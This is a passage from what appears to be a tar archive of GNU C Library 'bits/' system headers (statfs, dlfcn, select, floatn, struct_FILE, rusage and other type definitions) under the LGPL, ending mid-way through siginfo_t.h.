__DECL_SIMD_sincosf #define __DECL_SIMD_sincosl #define __DECL_SIMD_sincosf16 #define __DECL_SIMD_sincosf32 #define __DECL_SIMD_sincosf64 #define __DECL_SIMD_sincosf128 #define __DECL_SIMD_sincosf32x #define __DECL_SIMD_sincosf64x #define __DECL_SIMD_sincosf128x #define __DECL_SIMD_log #define __DECL_SIMD_logf #define __DECL_SIMD_logl #define __DECL_SIMD_logf16 #define __DECL_SIMD_logf32 #define __DECL_SIMD_logf64 #define __DECL_SIMD_logf128 #define __DECL_SIMD_logf32x #define __DECL_SIMD_logf64x #define __DECL_SIMD_logf128x #define __DECL_SIMD_exp #define __DECL_SIMD_expf #define __DECL_SIMD_expl #define __DECL_SIMD_expf16 #define __DECL_SIMD_expf32 #define __DECL_SIMD_expf64 #define __DECL_SIMD_expf128 #define __DECL_SIMD_expf32x #define __DECL_SIMD_expf64x #define __DECL_SIMD_expf128x #define __DECL_SIMD_pow #define __DECL_SIMD_powf #define __DECL_SIMD_powl #define __DECL_SIMD_powf16 #define __DECL_SIMD_powf32 #define __DECL_SIMD_powf64 #define __DECL_SIMD_powf128 #define __DECL_SIMD_powf32x #define __DECL_SIMD_powf64x #define __DECL_SIMD_powf128x #endif bits/statfs.h 0000644 00000003574 15246445046 0007205 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_STATFS_H # error "Never include <bits/statfs.h> directly; use <sys/statfs.h> instead." #endif #include <bits/types.h> struct statfs { __fsword_t f_type; __fsword_t f_bsize; #ifndef __USE_FILE_OFFSET64 __fsblkcnt_t f_blocks; __fsblkcnt_t f_bfree; __fsblkcnt_t f_bavail; __fsfilcnt_t f_files; __fsfilcnt_t f_ffree; #else __fsblkcnt64_t f_blocks; __fsblkcnt64_t f_bfree; __fsblkcnt64_t f_bavail; __fsfilcnt64_t f_files; __fsfilcnt64_t f_ffree; #endif __fsid_t f_fsid; __fsword_t f_namelen; __fsword_t f_frsize; __fsword_t f_flags; __fsword_t f_spare[4]; }; #ifdef __USE_LARGEFILE64 struct statfs64 { __fsword_t f_type; __fsword_t f_bsize; __fsblkcnt64_t f_blocks; __fsblkcnt64_t f_bfree; __fsblkcnt64_t f_bavail; __fsfilcnt64_t f_files; __fsfilcnt64_t f_ffree; __fsid_t f_fsid; __fsword_t f_namelen; __fsword_t f_frsize; __fsword_t f_flags; __fsword_t f_spare[4]; }; #endif /* Tell code we have these members. */ #define _STATFS_F_NAMELEN #define _STATFS_F_FRSIZE #define _STATFS_F_FLAGS bits/stdlib-bsearch.h 0000644 00000002541 15246445046 0010560 0 ustar 00 /* Perform binary search - inline version. Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ __extern_inline void * bsearch (const void *__key, const void *__base, size_t __nmemb, size_t __size, __compar_fn_t __compar) { size_t __l, __u, __idx; const void *__p; int __comparison; __l = 0; __u = __nmemb; while (__l < __u) { __idx = (__l + __u) / 2; __p = (void *) (((const char *) __base) + (__idx * __size)); __comparison = (*__compar) (__key, __p); if (__comparison < 0) __u = __idx; else if (__comparison > 0) __l = __idx + 1; else return (void *) __p; } return NULL; } bits/fenvinline.h 0000644 00000000276 15246445046 0010032 0 ustar 00 /* This file provides inline versions of floating-pint environment handling functions. If there were any. */ #ifndef __NO_MATH_INLINES /* Here is where the code would go. */ #endif bits/utsname.h 0000644 00000002274 15246445046 0007351 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_UTSNAME_H # error "Never include <bits/utsname.h> directly; use <sys/utsname.h> instead." #endif /* Length of the entries in `struct utsname' is 65. */ #define _UTSNAME_LENGTH 65 /* Linux provides as additional information in the `struct utsname' the name of the current domain. Define _UTSNAME_DOMAIN_LENGTH to a value != 0 to activate this entry. */ #define _UTSNAME_DOMAIN_LENGTH _UTSNAME_LENGTH bits/dlfcn.h 0000644 00000004730 15246445046 0006762 0 ustar 00 /* System dependent definitions for run-time dynamic loading. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _DLFCN_H # error "Never use <bits/dlfcn.h> directly; include <dlfcn.h> instead." #endif /* The MODE argument to `dlopen' contains one of the following: */ #define RTLD_LAZY 0x00001 /* Lazy function call binding. */ #define RTLD_NOW 0x00002 /* Immediate function call binding. */ #define RTLD_BINDING_MASK 0x3 /* Mask of binding time value. */ #define RTLD_NOLOAD 0x00004 /* Do not load the object. */ #define RTLD_DEEPBIND 0x00008 /* Use deep binding. */ /* If the following bit is set in the MODE argument to `dlopen', the symbols of the loaded object and its dependencies are made visible as if the object were linked directly into the program. */ #define RTLD_GLOBAL 0x00100 /* Unix98 demands the following flag which is the inverse to RTLD_GLOBAL. The implementation does this by default and so we can define the value to zero. */ #define RTLD_LOCAL 0 /* Do not delete object when closed. */ #define RTLD_NODELETE 0x01000 #ifdef __USE_GNU /* To support profiling of shared objects it is a good idea to call the function found using `dlsym' using the following macro since these calls do not use the PLT. But this would mean the dynamic loader has no chance to find out when the function is called. The macro applies the necessary magic so that profiling is possible. Rewrite foo = (*fctp) (arg1, arg2); into foo = DL_CALL_FCT (fctp, (arg1, arg2)); */ # define DL_CALL_FCT(fctp, args) \ (_dl_mcount_wrapper_check ((void *) (fctp)), (*(fctp)) args) __BEGIN_DECLS /* This function calls the profiling functions. */ extern void _dl_mcount_wrapper_check (void *__selfpc) __THROW; __END_DECLS #endif bits/select.h 0000644 00000004071 15246445046 0007151 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SELECT_H # error "Never use <bits/select.h> directly; include <sys/select.h> instead." #endif #include <bits/wordsize.h> #if defined __GNUC__ && __GNUC__ >= 2 # if __WORDSIZE == 64 # define __FD_ZERO_STOS "stosq" # else # define __FD_ZERO_STOS "stosl" # endif # define __FD_ZERO(fdsp) \ do { \ int __d0, __d1; \ __asm__ __volatile__ ("cld; rep; " __FD_ZERO_STOS \ : "=c" (__d0), "=D" (__d1) \ : "a" (0), "0" (sizeof (fd_set) \ / sizeof (__fd_mask)), \ "1" (&__FDS_BITS (fdsp)[0]) \ : "memory"); \ } while (0) #else /* ! GNU CC */ /* We don't use `memset' because this would require a prototype and the array isn't too big. */ # define __FD_ZERO(set) \ do { \ unsigned int __i; \ fd_set *__arr = (set); \ for (__i = 0; __i < sizeof (fd_set) / sizeof (__fd_mask); ++__i) \ __FDS_BITS (__arr)[__i] = 0; \ } while (0) #endif /* GNU CC */ #define __FD_SET(d, set) \ ((void) (__FDS_BITS (set)[__FD_ELT (d)] |= __FD_MASK (d))) #define __FD_CLR(d, set) \ ((void) (__FDS_BITS (set)[__FD_ELT (d)] &= ~__FD_MASK (d))) #define __FD_ISSET(d, set) \ ((__FDS_BITS (set)[__FD_ELT (d)] & __FD_MASK (d)) != 0) bits/floatn.h 0000644 00000010424 15246445046 0007154 0 ustar 00 /* Macros to control TS 18661-3 glibc features on x86. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_FLOATN_H #define _BITS_FLOATN_H #include <features.h> /* Defined to 1 if the current compiler invocation provides a floating-point type with the IEEE 754 binary128 format, and this glibc includes corresponding *f128 interfaces for it. The required libgcc support was added some time after the basic compiler support, for x86_64 and x86. */ #if (defined __x86_64__ \ ? __GNUC_PREREQ (4, 3) \ : (defined __GNU__ ? __GNUC_PREREQ (4, 5) : __GNUC_PREREQ (4, 4))) # define __HAVE_FLOAT128 1 #else # define __HAVE_FLOAT128 0 #endif /* Defined to 1 if __HAVE_FLOAT128 is 1 and the type is ABI-distinct from the default float, double and long double types in this glibc. */ #if __HAVE_FLOAT128 # define __HAVE_DISTINCT_FLOAT128 1 #else # define __HAVE_DISTINCT_FLOAT128 0 #endif /* Defined to 1 if the current compiler invocation provides a floating-point type with the right format for _Float64x, and this glibc includes corresponding *f64x interfaces for it. */ #define __HAVE_FLOAT64X 1 /* Defined to 1 if __HAVE_FLOAT64X is 1 and _Float64x has the format of long double. Otherwise, if __HAVE_FLOAT64X is 1, _Float64x has the format of _Float128, which must be different from that of long double. */ #define __HAVE_FLOAT64X_LONG_DOUBLE 1 #ifndef __ASSEMBLER__ /* Defined to concatenate the literal suffix to be used with _Float128 types, if __HAVE_FLOAT128 is 1. */ # if __HAVE_FLOAT128 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus /* The literal suffix f128 exists only since GCC 7.0. */ # define __f128(x) x##q # else # define __f128(x) x##f128 # endif # endif /* Defined to a complex binary128 type if __HAVE_FLOAT128 is 1. */ # if __HAVE_FLOAT128 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus /* Add a typedef for older GCC compilers which don't natively support _Complex _Float128. */ typedef _Complex float __cfloat128 __attribute__ ((__mode__ (__TC__))); # define __CFLOAT128 __cfloat128 # else # define __CFLOAT128 _Complex _Float128 # endif # endif /* The remaining of this file provides support for older compilers. */ # if __HAVE_FLOAT128 /* The type _Float128 exists only since GCC 7.0. */ # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef __float128 _Float128; # endif /* __builtin_huge_valf128 doesn't exist before GCC 7.0. */ # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf128() ((_Float128) __builtin_huge_val ()) # endif /* Older GCC has only a subset of built-in functions for _Float128 on x86, and __builtin_infq is not usable in static initializers. Converting a narrower sNaN to _Float128 produces a quiet NaN, so attempts to use _Float128 sNaNs will not work properly with older compilers. */ # if !__GNUC_PREREQ (7, 0) # define __builtin_copysignf128 __builtin_copysignq # define __builtin_fabsf128 __builtin_fabsq # define __builtin_inff128() ((_Float128) __builtin_inf ()) # define __builtin_nanf128(x) ((_Float128) __builtin_nan (x)) # define __builtin_nansf128(x) ((_Float128) __builtin_nans (x)) # endif /* In math/math.h, __MATH_TG will expand signbit to __builtin_signbit*, e.g.: __builtin_signbitf128, before GCC 6. However, there has never been a __builtin_signbitf128 in GCC and the type-generic builtin is only available since GCC 6. */ # if !__GNUC_PREREQ (6, 0) # define __builtin_signbitf128 __signbitf128 # endif # endif #endif /* !__ASSEMBLER__. */ #include <bits/floatn-common.h> #endif /* _BITS_FLOATN_H */ bits/types/struct_timespec.h 0000644 00000000570 15246445046 0012253 0 ustar 00 /* NB: Include guard matches what <linux/time.h> uses. */ #ifndef _STRUCT_TIMESPEC #define _STRUCT_TIMESPEC 1 #include <bits/types.h> /* POSIX.1b structure for a time value. This is like a `struct timeval' but has nanoseconds instead of microseconds. */ struct timespec { __time_t tv_sec; /* Seconds. */ __syscall_slong_t tv_nsec; /* Nanoseconds. */ }; #endif bits/types/error_t.h 0000644 00000001575 15246445046 0010520 0 ustar 00 /* Define error_t. Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __error_t_defined # define __error_t_defined 1 typedef int error_t; #endif bits/types/struct_FILE.h 0000644 00000010007 15246445046 0011155 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __struct_FILE_defined #define __struct_FILE_defined 1 /* Caution: The contents of this file are not part of the official stdio.h API. However, much of it is part of the official *binary* interface, and therefore cannot be changed. */ #if defined _IO_USE_OLD_IO_FILE && !defined _LIBC # error "_IO_USE_OLD_IO_FILE should only be defined when building libc itself" #endif #if defined _IO_lock_t_defined && !defined _LIBC # error "_IO_lock_t_defined should only be defined when building libc itself" #endif #include <bits/types.h> struct _IO_FILE; struct _IO_marker; struct _IO_codecvt; struct _IO_wide_data; /* During the build of glibc itself, _IO_lock_t will already have been defined by internal headers. */ #ifndef _IO_lock_t_defined typedef void _IO_lock_t; #endif /* The tag name of this struct is _IO_FILE to preserve historic C++ mangled names for functions taking FILE* arguments. That name should not be used in new code. */ struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; }; /* These macros are used by bits/stdio.h and internal headers. */ #define __getc_unlocked_body(_fp) \ (__glibc_unlikely ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end) \ ? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++) #define __putc_unlocked_body(_ch, _fp) \ (__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \ ? __overflow (_fp, (unsigned char) (_ch)) \ : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch))) #define _IO_EOF_SEEN 0x0010 #define __feof_unlocked_body(_fp) (((_fp)->_flags & _IO_EOF_SEEN) != 0) #define _IO_ERR_SEEN 0x0020 #define __ferror_unlocked_body(_fp) (((_fp)->_flags & _IO_ERR_SEEN) != 0) #define _IO_USER_LOCK 0x8000 /* Many more flag bits are defined internally. */ #endif bits/types/locale_t.h 0000644 00000001726 15246445046 0010624 0 ustar 00 /* Definition of locale_t. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_TYPES_LOCALE_T_H #define _BITS_TYPES_LOCALE_T_H 1 #include <bits/types/__locale_t.h> typedef __locale_t locale_t; #endif /* bits/types/locale_t.h */ bits/types/clock_t.h 0000644 00000000217 15246445046 0010452 0 ustar 00 #ifndef __clock_t_defined #define __clock_t_defined 1 #include <bits/types.h> /* Returned by `clock'. */ typedef __clock_t clock_t; #endif bits/types/cookie_io_functions_t.h 0000644 00000005244 15246445046 0013414 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __cookie_io_functions_t_defined #define __cookie_io_functions_t_defined 1 #include <bits/types.h> /* Functions to do I/O and file management for a stream. */ /* Read NBYTES bytes from COOKIE into a buffer pointed to by BUF. Return number of bytes read. */ typedef __ssize_t cookie_read_function_t (void *__cookie, char *__buf, size_t __nbytes); /* Write NBYTES bytes pointed to by BUF to COOKIE. Write all NBYTES bytes unless there is an error. Return number of bytes written. If there is an error, return 0 and do not write anything. If the file has been opened for append (__mode.__append set), then set the file pointer to the end of the file and then do the write; if not, just write at the current file pointer. */ typedef __ssize_t cookie_write_function_t (void *__cookie, const char *__buf, size_t __nbytes); /* Move COOKIE's file position to *POS bytes from the beginning of the file (if W is SEEK_SET), the current position (if W is SEEK_CUR), or the end of the file (if W is SEEK_END). Set *POS to the new file position. Returns zero if successful, nonzero if not. */ typedef int cookie_seek_function_t (void *__cookie, __off64_t *__pos, int __w); /* Close COOKIE. */ typedef int cookie_close_function_t (void *__cookie); /* The structure with the cookie function pointers. The tag name of this struct is _IO_cookie_io_functions_t to preserve historic C++ mangled names for functions taking cookie_io_functions_t arguments. That name should not be used in new code. */ typedef struct _IO_cookie_io_functions_t { cookie_read_function_t *read; /* Read bytes. */ cookie_write_function_t *write; /* Write bytes. */ cookie_seek_function_t *seek; /* Seek/tell file position. */ cookie_close_function_t *close; /* Close file. */ } cookie_io_functions_t; #endif bits/types/struct_tm.h 0000644 00000001370 15246445046 0011061 0 ustar 00 #ifndef __struct_tm_defined #define __struct_tm_defined 1 #include <bits/types.h> /* ISO C `broken-down time' structure. */ struct tm { int tm_sec; /* Seconds. [0-60] (1 leap second) */ int tm_min; /* Minutes. [0-59] */ int tm_hour; /* Hours. [0-23] */ int tm_mday; /* Day. [1-31] */ int tm_mon; /* Month. [0-11] */ int tm_year; /* Year - 1900. */ int tm_wday; /* Day of week. [0-6] */ int tm_yday; /* Days in year.[0-365] */ int tm_isdst; /* DST. [-1/0/1]*/ # ifdef __USE_MISC long int tm_gmtoff; /* Seconds east of UTC. */ const char *tm_zone; /* Timezone abbreviation. */ # else long int __tm_gmtoff; /* Seconds east of UTC. */ const char *__tm_zone; /* Timezone abbreviation. */ # endif }; #endif bits/types/sigset_t.h 0000644 00000000303 15246445046 0010651 0 ustar 00 #ifndef __sigset_t_defined #define __sigset_t_defined 1 #include <bits/types/__sigset_t.h> /* A set of signals to be blocked, unblocked, or waited for. */ typedef __sigset_t sigset_t; #endif bits/types/__fpos64_t.h 0000644 00000000632 15246445046 0010777 0 ustar 00 #ifndef _____fpos64_t_defined #define _____fpos64_t_defined 1 #include <bits/types.h> #include <bits/types/__mbstate_t.h> /* The tag name of this struct is _G_fpos64_t to preserve historic C++ mangled names for functions taking fpos_t and/or fpos64_t arguments. That name should not be used in new code. */ typedef struct _G_fpos64_t { __off64_t __pos; __mbstate_t __state; } __fpos64_t; #endif bits/types/struct_sched_param.h 0000644 00000002060 15246445046 0012704 0 ustar 00 /* Sched parameter structure. Generic version. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_TYPES_STRUCT_SCHED_PARAM #define _BITS_TYPES_STRUCT_SCHED_PARAM 1 /* Data structure to describe a process' schedulability. */ struct sched_param { int sched_priority; }; #endif /* bits/types/struct_sched_param.h */ bits/types/timer_t.h 0000644 00000000237 15246445046 0010501 0 ustar 00 #ifndef __timer_t_defined #define __timer_t_defined 1 #include <bits/types.h> /* Timer ID returned by `timer_create'. */ typedef __timer_t timer_t; #endif bits/types/wint_t.h 0000644 00000001434 15246445046 0010342 0 ustar 00 #ifndef __wint_t_defined #define __wint_t_defined 1 /* Some versions of stddef.h provide wint_t, even though neither the C nor C++ standards, nor POSIX, specifies this. We assume that stddef.h will define the macro _WINT_T if and only if it provides wint_t, and conversely, that it will avoid providing wint_t if _WINT_T is already defined. */ #ifndef _WINT_T #define _WINT_T 1 /* Integral type unchanged by default argument promotions that can hold any value corresponding to members of the extended character set, as well as at least one value that does not correspond to any member of the extended character set. */ #ifndef __WINT_TYPE__ # define __WINT_TYPE__ unsigned int #endif typedef __WINT_TYPE__ wint_t; #endif /* _WINT_T */ #endif /* bits/types/wint_t.h */ bits/types/struct_rusage.h 0000644 00000007754 15246445046 0011743 0 ustar 00 /* Define struct rusage. Copyright (C) 1994-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __rusage_defined #define __rusage_defined 1 #include <bits/types.h> #include <bits/types/struct_timeval.h> /* Structure which says how much of each resource has been used. */ /* The purpose of all the unions is to have the kernel-compatible layout while keeping the API type as 'long int', and among machines where __syscall_slong_t is not 'long int', this only does the right thing for little-endian ones, like x32. */ struct rusage { /* Total amount of user time used. */ struct timeval ru_utime; /* Total amount of system time used. */ struct timeval ru_stime; /* Maximum resident set size (in kilobytes). */ __extension__ union { long int ru_maxrss; __syscall_slong_t __ru_maxrss_word; }; /* Amount of sharing of text segment memory with other processes (kilobyte-seconds). */ /* Maximum resident set size (in kilobytes). */ __extension__ union { long int ru_ixrss; __syscall_slong_t __ru_ixrss_word; }; /* Amount of data segment memory used (kilobyte-seconds). */ __extension__ union { long int ru_idrss; __syscall_slong_t __ru_idrss_word; }; /* Amount of stack memory used (kilobyte-seconds). */ __extension__ union { long int ru_isrss; __syscall_slong_t __ru_isrss_word; }; /* Number of soft page faults (i.e. those serviced by reclaiming a page from the list of pages awaiting reallocation. */ __extension__ union { long int ru_minflt; __syscall_slong_t __ru_minflt_word; }; /* Number of hard page faults (i.e. those that required I/O). */ __extension__ union { long int ru_majflt; __syscall_slong_t __ru_majflt_word; }; /* Number of times a process was swapped out of physical memory. */ __extension__ union { long int ru_nswap; __syscall_slong_t __ru_nswap_word; }; /* Number of input operations via the file system. Note: This and `ru_oublock' do not include operations with the cache. */ __extension__ union { long int ru_inblock; __syscall_slong_t __ru_inblock_word; }; /* Number of output operations via the file system. */ __extension__ union { long int ru_oublock; __syscall_slong_t __ru_oublock_word; }; /* Number of IPC messages sent. */ __extension__ union { long int ru_msgsnd; __syscall_slong_t __ru_msgsnd_word; }; /* Number of IPC messages received. */ __extension__ union { long int ru_msgrcv; __syscall_slong_t __ru_msgrcv_word; }; /* Number of signals delivered. */ __extension__ union { long int ru_nsignals; __syscall_slong_t __ru_nsignals_word; }; /* Number of voluntary context switches, i.e. because the process gave up the process before it had to (usually to wait for some resource to be available). */ __extension__ union { long int ru_nvcsw; __syscall_slong_t __ru_nvcsw_word; }; /* Number of involuntary context switches, i.e. a higher priority process became runnable or the current process used up its time slice. */ __extension__ union { long int ru_nivcsw; __syscall_slong_t __ru_nivcsw_word; }; }; #endif bits/types/__sigset_t.h 0000644 00000000316 15246445046 0011153 0 ustar 00 #ifndef ____sigset_t_defined #define ____sigset_t_defined #define _SIGSET_NWORDS (1024 / (8 * sizeof (unsigned long int))) typedef struct { unsigned long int __val[_SIGSET_NWORDS]; } __sigset_t; #endif bits/types/time_t.h 0000644 00000000212 15246445046 0010310 0 ustar 00 #ifndef __time_t_defined #define __time_t_defined 1 #include <bits/types.h> /* Returned by `time'. */ typedef __time_t time_t; #endif bits/types/struct_statx_timestamp.h 0000644 00000002261 15246445046 0013667 0 ustar 00 /* Definition of the generic version of struct statx_timestamp. Copyright (C) 2018-2019 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_STAT_H # error Never include <bits/types/struct_statx_timestamp.h> directly, include <sys/stat.h> instead. #endif #ifndef __statx_timestamp_defined #define __statx_timestamp_defined 1 struct statx_timestamp { __int64_t tv_sec; __uint32_t tv_nsec; __int32_t __statx_timestamp_pad1[1]; }; #endif /* __statx_timestamp_defined */ bits/types/siginfo_t.h 0000644 00000007456 15246445046 0011031 0 ustar 00 #ifndef __siginfo_t_defined #define __siginfo_t_defined 1 #include <bits/wordsize.h> #include <bits/types.h> #include <bits/types/__sigval_t.h> #define __SI_MAX_SIZE 128 #if __WORDSIZE == 64 # define __SI_PAD_SIZE ((__SI_MAX_SIZE / sizeof (int)) - 4) #else # define __SI_PAD_SIZE ((__SI_MAX_SIZE / sizeof (int)) - 3) #endif /* Some fields of siginfo_t have architecture-specific variations. */ #include <bits/siginfo-arch.h> #ifndef __SI_ALIGNMENT # define __SI_ALIGNMENT /* nothing */ #endif #ifndef __SI_BAND_TYPE # define __SI_BAND_TYPE long int #endif #ifndef __SI_CLOCK_T # define __SI_CLOCK_T __clock_t #endif #ifndef __SI_ERRNO_THEN_CODE # define __SI_ERRNO_THEN_CODE 1 #endif #ifndef __SI_HAVE_SIGSYS # define __SI_HAVE_SIGSYS 1 #endif #ifndef __SI_SIGFAULT_ADDL # define __SI_SIGFAULT_ADDL /* nothing */ #endif typedef struct { int si_signo; /* Signal number. */ #if __SI_ERRNO_THEN_CODE int si_errno; /* If non-zero, an errno value associated with this signal, as defined in <errno.h>. */ int si_code; /* Signal code. */ #else int si_code; int si_errno; #endif #if __WORDSIZE == 64 int __pad0; /* Explicit padding. */ #endif union { int _pad[__SI_PAD_SIZE]; /* kill(). */ struct { __pid_t si_pid; /* Sending process ID. */ __uid_t si_uid; /* Real user ID of sending process. */ } _kill; /* POSIX.1b timers. */ struct { int si_tid; /* 